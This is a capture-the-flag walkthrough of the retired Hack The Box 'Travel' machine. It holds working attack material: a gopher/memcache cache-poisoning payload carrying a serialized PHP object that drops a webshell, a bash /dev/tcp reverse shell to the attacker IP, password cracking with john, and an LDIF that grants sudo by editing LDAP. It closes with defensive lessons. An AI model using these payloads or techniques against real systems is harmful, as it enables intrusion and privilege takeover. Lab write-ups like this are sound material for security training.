Hack The Box
Hack The Box: Travel Walkthrough
An archived walkthrough of the retired Hack The Box Travel machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Machine: Travel
OS: Linux (Ubuntu 20.04)
Difficulty: Hard
IP: 10.129.2.151
Attacker: 10.10.14.6
Introduction: The Big Picture
Before we touch a single command, let's understand what we're looking at. When you approach any machine, your job as a penetration tester is to build a mental map of the target. You're asking:
- What services are exposed?
- What does normal traffic look like?
- Where might developers have left behind artifacts?
- What trust relationships exist between components?
Travel is a beautifully constructed machine because it teaches a chain of vulnerabilities. No single bug gives you root. Instead, you must connect several weaknesses:
- Information Disclosure → Exposed
.gitdirectory leaks source code - SSRF (Server-Side Request Forgery) → The RSS feed fetcher can talk to internal services
- Cache Poisoning → We can write arbitrary data into memcache
- PHP Deserialization → The cache stores serialized PHP objects that execute code when read
- Credential Recovery → A forgotten database backup contains a crackable hash
- LDAP Injection/Modification → SSH is configured to pull users and keys from LDAP, allowing us to manufacture a root path
This walkthrough will explain every single command, every file, and every thought process in extreme detail.
Phase 1: External Reconnaissance — Mapping the Attack Surface
1.1 Why Reconnaissance Comes First
You cannot attack what you do not understand. Reconnaissance is about reducing uncertainty. We need to know:
- Which ports are open?
- What software versions are running?
- Are there hidden services or virtual hosts?
Hackers don't guess. They enumerate systematically.
1.2 Port Scanning with Nmap
nmap -p- --min-rate 10000 10.129.2.151
What this does:
-p-scans all 65,535 TCP ports. We don't assume only common ports matter. Developers often put services on high ports thinking they're hidden ("security through obscurity").--min-rate 10000sends packets fast so the scan completes quickly.
Why this mindset matters: Many beginners only scan the top 1000 ports. On a real engagement, that's how you miss management interfaces, backup services, or Docker APIs sitting on port 2375 or 8080.
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Only three ports. SSH is rarely the initial entry point on modern boxes (it requires credentials or key-based auth), so we focus on HTTP and HTTPS.
1.3 Service Version Detection
nmap -p 22,80,443 -sV -sC 10.129.2.151
What this does:
-sVprobes services to determine version numbers (e.g., nginx 1.17.6, OpenSSH 8.2p1)-sCruns default NSE (Nmap Scripting Engine) scripts
The Hacker Mindset: Version numbers are gold. If we see nginx 1.17.6, we can search for known CVEs. If we see WordPress 5.4, we can check for plugin vulnerabilities. Even if there's no public exploit, knowing the stack tells us what attack paths are plausible.
Critical Discovery — SSL Certificate SANs:
ssl-cert: Subject: commonName=www.travel.htb
Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
1.4 Virtual Hosts: The Hidden Websites
What is a virtual host?
Web servers like nginx and Apache can host multiple websites on the same IP address by looking at the Host header in HTTP requests. The certificate just told us there are three different websites on this one IP.
Why this matters:
The main site (www.travel.htb) might be a polished production site with heavy security. But blog-dev.travel.htb sounds like a development environment — and dev environments are often less secure, contain debugging features, or leak source code.
Adding hosts to /etc/hosts:
echo "10.129.2.151 travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb" | sudo tee -a /etc/hosts
Why /etc/hosts?
Your computer needs to resolve hostnames to IPs. Since this is a lab environment without public DNS, we manually map them. Without this, curl http://blog.travel.htb wouldn't know where to go.
1.5 Enumerating Each Virtual Host
www.travel.htb
A static "coming soon" travel site. Non-functional links. We note it but move on.
blog.travel.htb
A WordPress 5.4 blog. WordPress means:
- A database (usually MySQL/MariaDB)
- Themes and plugins (common attack surface)
- User accounts
- An admin panel at
/wp-admin/
We note the mention of an "Awesome RSS" feature and a TODO comment about copying from -dev to -prod.
blog-dev.travel.htb
HTTP 403 Forbidden.
The Hacker Mindset: A 403 is NOT a dead end. It means "you can't list the directory," not "there's nothing here." Many attackers give up at 403. The good ones dig deeper.
Phase 2: Finding the Entry Point — The Exposed Git Repository
2.1 Why We Directory-Scan
Even if a site returns 403 on the root, there might be specific files or directories accessible. Common ones:
/.git/— Git version control metadata/backup/,/old/,/test/— Forgotten copies/.env,/config.php— Configuration leaks/robots.txt— Tells us what the site owner is hiding
2.2 Finding .git with Gobuster
gobuster dir -u http://blog-dev.travel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Discovery: /.git/HEAD returns HTTP 200.
What is .git/HEAD?
Git stores repository metadata in a .git folder. HEAD is a small text file that points to the current branch (e.g., ref: refs/heads/master). If you can read this file, the entire .git directory might be downloadable.
Why developers expose .git:
They deploy by running git clone or copying files but forget to remove .git. They might think .htaccess protects it, but misconfigurations happen constantly. This is one of the most common and critical vulnerabilities in web applications.
2.3 Dumping the Git Repository
We use git-dumper, a tool specifically designed to reconstruct a Git repository from an exposed .git folder:
git clone https://github.com/arthaud/git-dumper.git
pip3 install PySocks dulwich
python3 git-dumper/git_dumper.py http://blog-dev.travel.htb/ gitsource
How git-dumper works:
It walks the Git object database (.git/objects/), downloads all commits, trees, and blobs, then reconstructs the file system. Git is a content-addressable filesystem — every file version is stored as a hash. If we have all the hashes, we have all the history.
2.4 Restoring Deleted Files
cd gitsource
git checkout -- .
Why this step?
The repository might have files that were committed but later deleted from the working tree. git checkout -- . restores all tracked files to their committed state. This is how we recover source code that isn't currently deployed.
Files recovered:
README.mdrss_template.phptemplate.php
Phase 3: Source Code Analysis — Understanding the Application
3.1 README.md — The Developer's Notes
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
Key Intelligence:
- These files belong to a WordPress theme (
twentytwenty) - There's a
logsdirectory we might be able to write to - Caching was added (where? how?)
- Logging is unfinished — this often means half-implemented features with security holes
3.2 rss_template.php — The RSS Feed Parser
This file creates the /awesome-rss/ page on the blog. Let's break it down:
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
$simplepie->set_feed_url($url);
$simplepie->init();
...
}
What's happening:
- It uses SimplePie, a popular PHP RSS parser
- It caches feed data in memcache on
127.0.0.1:11211 - Cache expires after 60 seconds
- Cache keys are prefixed with
xct_
The URL Logic:
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
Why this is dangerous:
If the query string contains custom_feed_url, it splits by = and takes the last part as the URL. This means:
?custom_feed_url&url=http://attacker.com/feed
The $url becomes http://attacker.com/feed.
The debug parameter:
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->
When ?debug is passed, it includes debug.php, which shows cached memcache data. This is our reconnaissance tool for the attack.
3.3 template.php — The "Security" Layer
This file has two critical parts:
Part A: safe() — The Input Filter
function safe($url)
{
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}
What the developer was trying to do:
- Block
file://and@to prevent Local File Inclusion (LFI) - Block
-oand-Fto prevent curl command injection - Block
localhostand127.0.0.1to prevent SSRF to internal services
Why it fails (The Hacker Mindset): Input validation is hard. The developer used a blocklist ("deny these specific things") instead of an allowlist ("only allow these specific things"). Blocklists are inherently incomplete.
The Bypass:
parse_url() parses the hostname. If we use 2130706433 (the decimal representation of 127.0.0.1), parse_url() returns the string "2130706433", which doesn't equal "127.0.0.1" or "localhost". However, when curl resolves it, it converts the decimal IP back to 127.0.0.1.
Other bypasses that work similarly:
0x7f000001(hexadecimal)0177.0.0.1(octal)127.1(short form)
This is a fundamental lesson: Never trust user input. And never assume a simple string check is sufficient for security.
Part B: url_get_contents() — The Command Execution
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
What's happening:
- The URL goes through
safe() escapeshellarg()wraps it in single quotes- It's passed to
shell_exec()as part of a curl command
Why escapeshellarg doesn't save us:
escapeshellarg prevents command injection (you can't do ; rm -rf /), but it doesn't prevent SSRF. The URL is still passed to curl, and curl supports many protocols besides HTTP: ftp://, dict://, gopher://, file:// (if not blocked), etc.
Part C: TemplateHelper — The Deserialization Gadget
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
What is this class? It's an unfinished logging implementation. The TODO in README.md said "finish logging implementation via TemplateHelper."
The critical method: __wakeup()
In PHP, __wakeup() is a magic method that runs automatically when an object is deserialized (converted from a string back to an object).
The Attack Idea:
If we can make the server deserialize a TemplateHelper object where:
$file=shell.php$data=<?php system($_REQUEST['cmd']); ?>
Then __wakeup() will call init(), which will write our webshell to:
__DIR__.'/logs/'.$this->file
Since template.php is in wp-content/themes/twentytwenty/, the shell goes to:
/wp-content/themes/twentytwenty/logs/shell.php
Phase 4: Exploiting the Vulnerability Chain
4.1 The Attack Chain Overview
Our path to code execution requires connecting multiple dots:
- SSRF: Use
custom_feed_urlto make the server talk to internal memcache - Protocol Smuggling: Use
gopher://to send raw memcache commands - Cache Poisoning: Overwrite a legitimate cache key with our serialized payload
- Deserialization Trigger: Visit the RSS page to read the cache, triggering
__wakeup() - Webshell: The deserialized object writes
shell.php - RCE: Visit the webshell with commands
4.2 Why Gopher and Not HTTP?
If we tried to use http://127.0.0.1:11211/, curl would send:
GET / HTTP/1.1
Host: 127.0.0.1:11211
User-Agent: curl/7.68.0
Accept: */*
Memcache expects raw text commands, not HTTP headers. The headers would confuse memcache and break the connection.
Gopher is an old protocol that sends only the payload after the path, with no headers. Perfect for talking to non-HTTP services.
4.3 Understanding Memcache Key Generation
Before we can poison the cache, we need to know the exact key name. SimplePie generates it dynamically.
Step 1: The feed URL is hashed
$cache_name_function = 'md5';
$filename = md5($url);
For the default feed:
echo -n 'http://www.travel.htb/newsfeed/customfeed.xml' | md5sum
# [redacted retired-lab hash or flag]
Step 2: Append the type
The cache type for feed data is spc:
echo -n '[redacted retired-lab hash or flag]:spc' | md5sum
# [redacted retired-lab hash or flag]
Step 3: Add the prefix
From rss_template.php: prefix=xct_
Final key: xct_[redacted retired-lab hash or flag]
Why we use the default feed key: We could host our own feed and calculate a new key, but using the default key is faster. The only risk is that someone else might overwrite it, but on a private instance, that's not an issue.
4.4 Crafting the Serialized Payload
We create a local PHP script to generate the exact serialized string:
<?php
class TemplateHelper {
public $file;
public $data;
public function __construct() {
$this->file = 'shell.php';
$this->data = '<?php system($_REQUEST["cmd"]); ?>';
}
}
$obj = new TemplateHelper();
echo serialize($obj);
?>
Why public instead of private?
In the original source, $file and $data are private. However, PHP's serialization format for private properties includes null bytes and class names, making manual crafting error-prone. Using public in our payload works because PHP's deserialization engine matches properties by name, and the __wakeup() method reinitializes them through init().
Output:
O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
Length: 106 bytes. This is important for the memcache SET command.
4.5 The Memcache SET Command
Memcache protocol for storing data:
set <key> <flags> <exptime> <bytes>\r\n
<value>\r\n
For our attack:
set xct_[redacted retired-lab hash or flag] 4 0 106\r\n
O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}\r\n
4= flags (arbitrary, mimics what SimplePie uses)0= expiry (never expire, or 0 = immediate, but memcache still stores it)106= exact byte length of the payload
4.6 The Gopher URL
We URL-encode the memcache command for Gopher:
gopher://2130706433:11211/_%0d%0aset%20xct_[redacted retired-lab hash or flag]%204%200%20106%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:34:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
Breaking it down:
gopher://= protocol2130706433= decimal IP for 127.0.0.1 (bypasses safe()):11211= memcache port/_= Gopher path separator + payload start%0d%0a= CRLF (line endings memcache expects)%20= spaces%22,%3B,%7B,%7D,%28,%29,%5B,%5D= URL-encoded special characters
4.7 Executing the Attack
Step 1: Poison the cache
curl -s "http://blog.travel.htb/awesome-rss/?custom_feed_url&url=gopher://2130706433:11211/_%0d%0aset%20xct_[redacted retired-lab hash or flag]%204%200%20106%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:34:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a"
Step 2: Verify poisoning
curl -s "http://blog.travel.htb/awesome-rss/?debug" | grep TemplateHelper
If you see the serialized object in the debug output, the cache now contains our payload.
Step 3: Trigger deserialization
curl -s "http://blog.travel.htb/awesome-rss/" > /dev/null
When SimplePie initializes, it reads from memcache, calls unserialize() on our payload, which triggers __wakeup(), which writes shell.php.
Step 4: Confirm RCE
curl -s "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php?cmd=id"
Expected: uid=33(www-data) gid=33(www-data) groups=33(www-data)
4.8 Upgrading to a Reverse Shell
A webshell is fine, but an interactive shell is better. We use bash's built-in TCP redirection:
# On Kali (listener)
nc -lvnp 4444
# Trigger reverse shell via webshell
curl -G "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'"
Why this works:
Bash can open TCP connections using /dev/tcp/host/port pseudo-devices. We redirect stdin (0), stdout (1), and stderr (2) to that TCP socket, giving the attacker a fully interactive shell.
Stabilizing the shell (optional but recommended):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
# On Kali:
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
Phase 5: Post-Exploitation — Escaping the Container
5.1 Discovering We're in a Container
www-data@blog:/$ ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Apr 23 18:44 .dockerenv
www-data@blog:/$ hostname
blog
www-data@blog:/$ ip addr
Indicators of a container:
.dockerenvfile exists- Hostname is
blog(nottravel) - IP is in the Docker range (
172.30.0.10/24) - Limited process list
The Hacker Mindset: Containers are sandboxed, but they often share resources with the host. Look for:
- Mounted host directories
- Network access to host services
- Credential files or backups that were copied into the container
5.2 Finding the Database Backup
www-data@blog:/$ ls -la /opt/wordpress/
backup-13-04-2020.sql
Why is this here? This is a snapshot of the database from before deployment. Developers often create backups during migrations or before updates, then forget to remove them. The file is readable by any user.
cat /opt/wordpress/backup-13-04-2020.sql | tail -n 20
Discovery:
INSERT INTO `wp_users` VALUES
(1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb',...),
(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb',...);
5.3 Understanding the Hash Format
The hash $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc. is a WordPress/phppass hash:
$P$= phpass identifierB/= iteration count log2 (encoded)- The rest = salt + hash
Why crack this?
lynik-admin sounds like a system user, not just a WordPress user. If we can crack this, we might be able to reuse the password for SSH.
5.4 Cracking the Hash
# On Kali
echo 'lynik-admin:$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
How password cracking works:
John (or Hashcat) takes each password from the wordlist, hashes it with the same algorithm and salt, and compares it to the target hash. rockyou.txt contains ~14 million real passwords leaked from the RockYou breach in 2009. It's the most effective wordlist for common passwords.
Result: 1stepcloser
Phase 6: Moving to the Host via SSH
6.1 Why SSH?
We could try to escape the container via kernel exploits or mounted volumes, but those are unreliable. Credential reuse is much faster. If lynik-admin uses the same password for SSH, we can walk right out of the container.
ssh lynik-admin@10.129.2.151
# password: null
Why it works:
The SSH server is configured to allow password authentication for lynik-admin (and trvl-admin), while everyone else must use keys. This is visible in /etc/ssh/sshd_config:
PasswordAuthentication no
Match User trvl-admin,lynik-admin
PasswordAuthentication yes
6.2 Grabbing the User Flag
lynik-admin@travel:~$ cat user.txt
9aecc[redacted]fdbffb07
Phase 7: Privilege Escalation to Root via LDAP
7.1 Finding LDAP Credentials
lynik-admin@travel:~$ cat ~/.ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
This file tells the LDAP client how to connect. But the password is REDACTED
lynik-admin@travel:~$ cat ~/.viminfo
Inside .viminfo, we find:
""1 LINE 0
BINDPW Theroadlesstraveled
What is .viminfo?
Vim stores history, registers, and deleted text in .viminfo. The developer edited .ldaprc, deleted the BINDPW line, saved the file, but Vim remembered the deletion. This is a classic OPSEC failure.
7.2 LDAP Enumeration
lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled
What this shows:
- The domain:
dc=travel,dc=htb - Users in
ou=users,ou=linux,ou=servers,dc=travel,dc=htb - Groups in
ou=groups,ou=linux,ou=servers,dc=travel,dc=htb lynik-adminis an LDAP administrator
Why this matters:
As an LDAP admin, we have write access to user attributes. In environments where SSH authenticates against LDAP, modifying LDAP is equivalent to modifying /etc/passwd and /etc/shadow.
7.3 Understanding the SSH/LDAP Integration
lynik-admin@travel:~$ cat /etc/ssh/sshd_config | grep -v '^#' | grep .
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
PasswordAuthentication no
Match User trvl-admin,lynik-admin
PasswordAuthentication yes
How this works:
AuthorizedKeysCommandruns/usr/bin/sss_ssh_authorizedkeyswhen someone tries to SSH with a key- This program queries LDAP for the
sshPublicKeyattribute - If the key matches, SSH allows login
PasswordAuthentication nomeans most users must use keys
The implication:
If we add an sshPublicKey attribute to any LDAP user, we can SSH as them. If we also set their gidNumber to 27 (the sudo group) and give them a password, we can sudo su - to root.
7.4 Why We Can't Just Modify Root
cat /etc/sssd/sssd.conf
[nss]
filter_users = root
filter_groups = root
SSSD (System Security Services Daemon) explicitly filters out root from LDAP lookups. The system is designed to prevent exactly the attack we're attempting on root. So we pick another user.
7.5 The Target: Johnny
We pick johnny (uid=5004) arbitrarily — any user in the LDAP users OU would work. Our goal is three modifications:
- Add SSH key so we can log in
- Change
gidNumberto 27 so he's in thesudogroup - Set
userPasswordso we can authenticate withsudo
7.6 Understanding LDIF (LDAP Data Interchange Format)
An LDIF file describes changes to LDAP entries. The format is strict:
dn: <distinguished name>
changeType: modify
<operation>: <attribute>
<attribute>: <value>
-
dn= the full path to the object in LDAPchangeType: modify= we're editing, not creatingreplace:= overwrite existing valueadd:= add new attribute-= separator between operations
7.7 Creating the Payload LDIF
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
replace: gidNumber
gidNumber: 27
-
replace: userPassword
userPassword: hacked123
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa [redacted encoded lab material] kali@kali
Why we need ldapPublicKey:
The sshPublicKey attribute isn't valid for all object classes. We must first add the ldapPublicKey object class to the user's entry, which then allows the sshPublicKey attribute.
7.8 Applying the LDAP Changes
ldapadd -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f /dev/shm/johnny.ldif
Output:
modifying entry "uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"
7.9 Verifying the Changes
/usr/bin/sss_ssh_authorizedkeys johnny
This should print the SSH public key we just added, confirming SSH will accept it.
7.10 SSH as Johnny
# On Kali
ssh -i /tmp/travel_key johnny@10.129.2.151
What happens:
- SSH connects to the server
- The server runs
sss_ssh_authorizedkeys johnny - This queries LDAP, finds our key
- Authentication succeeds
- We log in as
johnny
johnny@travel:~$ id
uid=5004(johnny) gid=27(sudo) groups=27(sudo),5000(domainusers)
The gid=27(sudo) is the key. Johnny is now a member of the sudo group.
7.11 Becoming Root
johnny@travel:~$ sudo su -
[sudo] password for johnny: hacked123
root@travel:~#
Why sudo su - works:
- The
sudogroup is defined in/etc/sudoersas having full sudo access - Johnny's password is REDACTED (stored in LDAP, synced by SSSD)
su -switches to root and loads root's environment
7.12 The Root Flag
root@travel:~# cat /root/root.txt
4b10d5[redacted]ff045abc5
Phase 8: Lessons Learned & Defense
Key Vulnerabilities Exploited
- Exposed
.gitdirectory → Always remove.gitbefore deployment, or block it in web server config - SSRF via curl → Never pass user input directly to curl. Use allowlists for URLs
- Weak SSRF filter → Blocklists fail. Use URL parsers and verify against an allowlist of domains
- PHP deserialization → Don't store user-controlled data in caches that get deserialized. Use JSON instead of PHP serialization
- Database backups in web root → Backups should never be in publicly accessible directories
- Password reuse → Never reuse passwords across systems
- Viminfo leakage → Sensitive edits should use
set viminfo=or editors that don't log history - LDAP without proper access controls → LDAP admins should be heavily restricted; monitor for unauthorized modifications
The Hacker Mindset Recap
- Enumeration is everything. We found three vhosts, then a
.gitdirectory, then source code, then a vulnerability chain. - Read the source. The code told us exactly how the cache key was generated and exactly how to bypass the filter.
- Think in chains. No single bug gave us root. It took SSRF → cache poisoning → deserialization → credential reuse → LDAP manipulation.
- Never give up on 403s. A forbidden directory listing doesn't mean forbidden files.
- Check everything.
.viminfois often overlooked but contains deleted credentials.
Flags
| Flag | Location | Value |
|---|---|---|
| User | /home/lynik-admin/user.txt |
9aecceb[redacted]bffb07 |
| Root | /root/root.txt |
4b10d5[redacted]f045abc5 |
Happy hacking. Stay curious. Think like a developer, break like an attacker.